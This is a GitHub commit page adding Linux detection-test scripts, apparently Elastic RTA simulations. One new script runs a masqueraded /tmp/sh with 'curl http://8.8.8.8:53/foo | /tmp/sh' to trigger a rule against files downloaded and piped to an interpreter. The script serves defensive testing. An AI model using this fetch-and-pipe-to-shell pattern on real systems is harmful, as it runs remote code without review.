Skip to content

Commit d1876ff

Browse files
Sync RTA
1 parent 275c728 commit d1876ff

File tree

2 files changed

+43
-0
lines changed

2 files changed

+43
-0
lines changed

rta/linux_command_and_control_ip_address_arg_from_hidden_executable.py

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -31,8 +31,11 @@ def main() -> None:
3131

3232
commands = [masquerade, "netcon", "-h", "8.8.8.8", "-p", "53"]
3333
common.execute([*commands], timeout=5, kill=True)
34+
3435
common.log("Cleaning...")
36+
3537
common.remove_file(masquerade)
38+
3639
common.log("Simulation successfull!")
3740

3841

Lines changed: 40 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,40 @@
1+
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
2+
# or more contributor license agreements. Licensed under the Elastic License
3+
# 2.0; you may not use this file except in compliance with the Elastic License
4+
# 2.0.
5+
6+
import sys
7+
from . import RtaMetadata, common
8+
9+
metadata = RtaMetadata(
10+
uuid="6a25935b-be53-4447-a5b4-e413f1d2351a",
11+
platforms=["linux"],
12+
endpoint=[
13+
{
14+
"rule_name": "File Downloaded and Piped to Interpreter by Web Server",
15+
"rule_id": "2588a595-c6c7-4d8d-b287-57b9d1e3d7e6",
16+
},
17+
],
18+
techniques=["T1505", "T1059", "T1071"],
19+
)
20+
21+
22+
@common.requires_os(*metadata.platforms)
23+
def main() -> None:
24+
common.log("Creating a fake executable..")
25+
masquerade = "/tmp/sh"
26+
27+
source = common.get_path("bin", "linux.ditto_and_spawn")
28+
common.copy_file(source, masquerade)
29+
common.log("Granting execute permissions...")
30+
common.execute(["chmod", "+x", masquerade])
31+
32+
commands = [masquerade, '-c', 'curl http://8.8.8.8:53/foo | /tmp/sh']
33+
common.execute([*commands], timeout=5, kill=True)
34+
common.log("Cleaning...")
35+
common.remove_file(masquerade)
36+
common.log("Simulation successfull!")
37+
38+
39+
if __name__ == "__main__":
40+
sys.exit(main())

0 commit comments

Comments
 (0)